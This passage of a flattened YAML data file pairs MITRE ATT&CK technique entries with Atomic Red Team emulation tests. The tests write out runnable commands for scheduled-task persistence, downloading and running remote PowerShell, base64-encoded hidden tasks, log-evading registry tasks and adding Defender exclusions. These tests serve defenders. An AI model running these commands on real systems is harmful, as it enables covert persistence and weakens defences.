Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017. source_name: Microsoft SendNotifyMessage function modified: '2022-04-25T14:00:00.188Z' name: 'Process Injection: Extra Window Memory Injection' description: "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: 'Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)' x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: OS API Execution' x_mitre_defense_bypassed: - Anti-virus - Application control spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1055.011 atomic_tests: - name: Process Injection via Extra Window Memory (EWM) x64 executable auto_generated_guid: 93ca40d2-336c-446d-bcef-87f14d438018 description: Hooks functions of main process to inject a payload via Extra Window Memory (EWM) injection technique supported_platforms: - windows input_arguments: arch: description: Architecture of payload. One of (x64, x86) type: string default: x64 exe_binary: description: PE binary for EWM injection type: path default: PathToAtomicsFolder\T1055.011\bin\T1055.011_#{arch}.exe payload_file: description: raw payload to inject type: path default: PathToAtomicsFolder\T1055.011\bin\payload.exe_#{arch}.bin dependency_executor_name: powershell dependencies: - description: 'T1055.011x64.exe and payload must exist on disk at specified location (#{exe_binary} and #{payload_file})' prereq_command: 'if (Test-Path #{exe_binary}) {exit 0} else {exit 1}' get_prereq_command: |- New-Item -Type Directory (split-path #{exe_binary}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.011/bin/T1055.011_#{arch}.exe" -OutFile "#{exe_binary}" -UseBasicParsing Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.011/bin/payload.exe_#{arch}.bin" -OutFile "#{payload_file}" -UseBasicParsing executor: command: "#{exe_binary}" cleanup_command: Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force name: powershell elevation_required: false T1053.005: technique: modified: '2023-11-15T14:33:53.354Z' name: 'Scheduled Task/Job: Scheduled Task' description: "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Andrew Northern, @ex_raritas - Bryan Campbell, @bry_campbell - Zachary Abzug, @ZackDoesML - Selena Larson, @selenalarson - Sittikorn Sangrattanapitak x_mitre_deprecated: false x_mitre_detection: |- Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10) * Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered * Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated * Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted * Event ID 4698 on Windows 10, Server 2016 - Scheduled task created * Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled * Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.5' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Creation' - 'File: File Modification' - 'File: File Creation' - 'Process: Process Creation' - 'Command: Command Execution' - 'Network Traffic: Network Traffic Flow' - 'Scheduled Job: Scheduled Job Creation' x_mitre_permissions_required: - Administrator x_mitre_remote_support: true type: attack-pattern id: attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9 created: '2019-11-27T14:58:00.429Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1053/005 external_id: T1053.005 - source_name: ProofPoint Serpent description: Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022. url: https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain - source_name: Defending Against Scheduled Task Attacks in Windows Environments description: Harshal Tupsamudre. (2022, June 20). Defending Against Scheduled Tasks. Retrieved July 5, 2022. url: https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments - source_name: Twitter Leoloobeek Scheduled Task description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017. url: https://twitter.com/leoloobeek/status/939248813465853953 - source_name: Tarrask scheduled task description: Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022. url: https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/ - source_name: Microsoft Scheduled Task Events Win10 description: Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019. url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events - source_name: TechNet Scheduled Task Events description: Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017. url: https://technet.microsoft.com/library/dd315590.aspx - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: TechNet Forum Scheduled Task Operational Setting description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017. url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen - source_name: SigmaHQ description: Sittikorn S. (2022, April 15). Removal Of SD Value to Hide Schedule Task - Registry. Retrieved June 1, 2022. url: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal.yml object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1053.005 atomic_tests: - name: Scheduled Task Startup Script auto_generated_guid: fec27f65-db86-4c2d-b66c-61945aee87c2 description: | Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view the tasks, open the Task Scheduler and look in the Active Tasks pane. supported_platforms: - windows executor: command: | schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe" schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe" cleanup_command: | schtasks /delete /tn "T1053_005_OnLogon" /f >nul 2>&1 schtasks /delete /tn "T1053_005_OnStartup" /f >nul 2>&1 name: command_prompt elevation_required: true - name: Scheduled task Local auto_generated_guid: 42f53695-ad4a-4546-abb6-7d837f644a71 description: 'Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10. ' supported_platforms: - windows input_arguments: task_command: description: What you want to execute type: string default: C:\windows\system32\cmd.exe time: description: What time 24 Hour type: string default: '20:10' executor: name: command_prompt elevation_required: false command: 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time} ' cleanup_command: 'SCHTASKS /Delete /TN spawn /F >nul 2>&1 ' - name: Scheduled task Remote auto_generated_guid: 2e5eac3e-327b-4a88-a0c0-c4057039a8dd description: | Create a task on a remote system. Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint. supported_platforms: - windows input_arguments: task_command: description: What you want to execute type: string default: C:\windows\system32\cmd.exe time: description: What time 24 Hour type: string default: '20:10' target: description: Target type: string default: localhost user_name: description: 'Username to authenticate with, format: DOMAIN\User' type: string default: DOMAIN\user password: description: Password to authenticate with type: string default: At0micStrong executor: name: command_prompt elevation_required: true command: 'SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time} ' cleanup_command: 'SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password} /TN "Atomic task" /F >nul 2>&1 ' - name: Powershell Cmdlet Scheduled Task auto_generated_guid: af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd description: | Create an atomic scheduled task that leverages native powershell cmdlets. Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10. supported_platforms: - windows executor: name: powershell elevation_required: false command: | $Action = New-ScheduledTaskAction -Execute "calc.exe" $Trigger = New-ScheduledTaskTrigger -AtLogon $User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest $Set = New-ScheduledTaskSettingsSet $object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set Register-ScheduledTask AtomicTask -InputObject $object cleanup_command: 'Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false >$null 2>&1 ' - name: Task Scheduler via VBA auto_generated_guid: ecd3fa21-7792-41a2-8726-2c5c673414d3 description: | This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within 30 - 40 seconds after this module has run supported_platforms: - windows input_arguments: ms_product: description: Maldoc application Word type: string default: Word dependency_executor_name: powershell dependencies: - description: 'Microsoft #{ms_product} must be installed ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"} Stop-Process -Name $process exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" ' executor: command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053.005-macrocode.txt\" -officeProduct \"#{ms_product}\" -sub \"Scheduler\"\n" name: powershell cleanup_command: 'Unregister-ScheduledTask -TaskName "Run Notepad" -Confirm:$false ' - name: WMI Invoke-CimMethod Scheduled Task auto_generated_guid: e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b description: 'Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes. ' supported_platforms: - windows input_arguments: xml_path: description: path of vbs to use when creating masquerading files type: path default: PathToAtomicsFolder\T1053.005\src\T1053_005_WMI.xml dependency_executor_name: powershell dependencies: - description: 'File to copy must exist on disk at specified location (#{xml_path}) ' prereq_command: 'if (Test-Path "#{xml_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{xml_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_005_WMI.xml" -OutFile "#{xml_path}" executor: name: powershell elevation_required: true command: | $xml = [System.IO.File]::ReadAllText("#{xml_path}") Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; } cleanup_command: 'Unregister-ScheduledTask -TaskName "T1053_005_WMI" -confirm:$false >$null 2>&1 ' - name: Scheduled Task Executing Base64 Encoded Commands From Registry auto_generated_guid: e895677d-4f06-49ab-91b6-ae3742d0a2ba description: "A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created.\nThe scheduled task will launch powershell to decode and run the command in the registry daily.\nThis is a persistence mechanism recently seen in use by Qakbot. \n\n[Additiona Information](https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/)\n" supported_platforms: - windows input_arguments: time: description: Daily scheduled task execution time type: string default: '07:45' executor: command: | reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time} cleanup_command: | schtasks /delete /tn "ATOMIC-T1053.005" /F >nul 2>&1 reg delete HKCU\SOFTWARE\ATOMIC-T1053.005 /F >nul 2>&1 name: command_prompt - name: Import XML Schedule Task with Hidden Attribute auto_generated_guid: cd925593-fbb4-486d-8def-16cbdf944bf4 description: "Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. \nThis technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.\n" supported_platforms: - windows input_arguments: xml_path: description: path of vbs to use when creating masquerading files type: path default: PathToAtomicsFolder\T1053.005\src\T1053_05_SCTASK_HIDDEN_ATTRIB.xml dependency_executor_name: powershell dependencies: - description: 'File to copy must exist on disk at specified location (#{xml_path}) ' prereq_command: 'if (Test-Path "#{xml_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{xml_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_05_SCTASK_HIDDEN_ATTRIB.xml" -OutFile "#{xml_path}" executor: name: powershell elevation_required: true command: | $xml = [System.IO.File]::ReadAllText("#{xml_path}") Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; } cleanup_command: 'Unregister-ScheduledTask -TaskName "atomic red team" -confirm:$false >$null 2>&1 ' - name: PowerShell Modify A Scheduled Task auto_generated_guid: dda6fc7b-c9a6-4c18-b98d-95ec6542af6d description: "Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. \nIt will first be created to spawn cmd.exe, but modified to run notepad.exe.\n\nUpon successful execution, powershell.exe will create a scheduled task and modify the action. \n" supported_platforms: - windows executor: name: powershell elevation_required: false command: | $Action = New-ScheduledTaskAction -Execute "cmd.exe" $Trigger = New-ScheduledTaskTrigger -AtLogon $User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest $Set = New-ScheduledTaskSettingsSet $object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set Register-ScheduledTask AtomicTaskModifed -InputObject $object $NewAction = New-ScheduledTaskAction -Execute "Notepad.exe" Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction cleanup_command: 'Unregister-ScheduledTask -TaskName "AtomicTaskModifed" -confirm:$false >$null 2>&1 ' - name: Scheduled Task ("Ghost Task") via Registry Key Manipulation auto_generated_guid: 704333ca-cc12-4bcf-9916-101844881f54 description: | Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree, the tool creates user-specified scheduled tasks without a corresponding Windows Event 4698, which is logged when scheduled tasks are created through conventional means. This requires a download of the GhostTask binary, which must be run as NT Authority\SYSTEM. Upon successful execution of this test, a scheduled task will be set to run at logon which launches notepad.exe or runs a user-specified command. For further exploration of this procedure and guidance for hunting and detection, see [Hunting G-G-G-GhostTasks!](https://medium.com/p/154b50ab6a78). supported_platforms: - windows input_arguments: task_name: description: Name of the newly-added task type: string default: lilghostie task_command: description: Command you want the task to execute type: string default: notepad.exe target: description: System where the task should run type: string default: localhost user_name: description: Username to authenticate with, such as ATOMICDOMAIN\AtomicAdmin type: string default: "$env:USERDOMAIN + '\\' + $env:USERNAME" dependency_executor_name: powershell dependencies: - description: 'PsExec tool from Sysinternals must exist in the ExternalPayloads directory ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") { exit 0} else { exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force - description: 'GhostTask.exe tool from netero101 must exist in the ExternalPayloads directory. This tool may be quarantined by windows defender; disable windows defender real-time protection to fix it or add the ExternalPayloads directory as an exclusion, using a command like `Add-MpPreference -ExclusionPath "PathToAtomicsFolder\..\ExternalPayloads\"` ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe") { exit 0} else { exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/netero1010/GhostTask/releases/download/1.0/GhostTask.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" executor: name: command_prompt elevation_required: true command: | "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe" "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon cleanup_command: |- "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe" "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} delete #{task_name} > nul T1037: technique: modified: '2024-04-16T12:23:13.621Z' name: Boot or Logon Initialization Scripts description: "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.(Citation: Mandiant APT29 Eye Spy Email Nov 22)(Citation: Anomali Rocke March 2019) Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. \ \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_deprecated: false x_mitre_detection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - macOS - Windows - Linux - Network x_mitre_version: '2.3' x_mitre_data_sources: - 'File: File Modification' - 'Windows Registry: Windows Registry Key Creation' - 'Command: Command Execution' - 'File: File Creation' - 'Process: Process Creation' - 'Active Directory: Active Directory Object Modification' type: attack-pattern id: attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334 created: '2017-05-31T21:30:38.910Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1037 external_id: T1037 - source_name: Anomali Rocke March 2019 description: Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019. url: https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang - source_name: Mandiant APT29 Eye Spy Email Nov 22 description: 'Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.' url: https://www.mandiant.com/resources/blog/unc3524-eye-spy-email object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1574.007: technique: modified: '2023-10-03T03:29:57.078Z' name: Path Interception by PATH Environment Variable description: "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. \n\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\n\nFor example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)\n\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Stefan Kanthak x_mitre_deprecated: false x_mitre_detection: |- Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - macOS - Linux x_mitre_version: '1.1' x_mitre_data_sources: - 'File: File Creation' - 'Windows Registry: Windows Registry Key Modification' - 'Process: Process Creation' x_mitre_defense_bypassed: - Application Control type: attack-pattern id: attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32 created: '2020-03-13T14:10:43.424Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/007 external_id: T1574.007 - source_name: Elastic Rules macOS launchctl 2022 description: Elastic Security 7.17. (2022, February 1). Modification of Environment Variable via Launchctl. Retrieved September 28, 2023. url: https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-4-modification-of-environment-variable-via-launchctl.html - source_name: ExpressVPN PATH env Windows 2021 description: 'ExpressVPN Security Team. (2021, November 16). Cybersecurity lessons: A PATH vulnerability in Windows. Retrieved September 28, 2023.' url: https://www.expressvpn.com/blog/cybersecurity-lessons-a-path-vulnerability-in-windows/ - source_name: uptycs Fake POC linux malware 2023 description: 'Nischay Hegde and Siddartha Malladi. (2023, July 12). PoC Exploit: Fake Proof of Concept with Backdoor Malware. Retrieved September 28, 2023.' url: https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware - source_name: nixCraft macOS PATH variables description: Vivek Gite. (2023, August 22). MacOS – Set / Change $PATH Variable Command. Retrieved September 28, 2023. url: https://www.cyberciti.biz/faq/appleosx-bash-unix-change-set-path-environment-variable/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1546.013: technique: modified: '2023-10-20T17:04:13.976Z' name: 'Event Triggered Execution: PowerShell Profile' description: "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Allen DeRyke, ICE - Matt Green, @mgreen27 x_mitre_deprecated: false x_mitre_detection: |- Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include: * $PsHome\Profile.ps1 * $PsHome\Microsoft.{HostProgram}_profile.ps1 * $Home\\\[My ]Documents\PowerShell\Profile.ps1 * $Home\\\[My 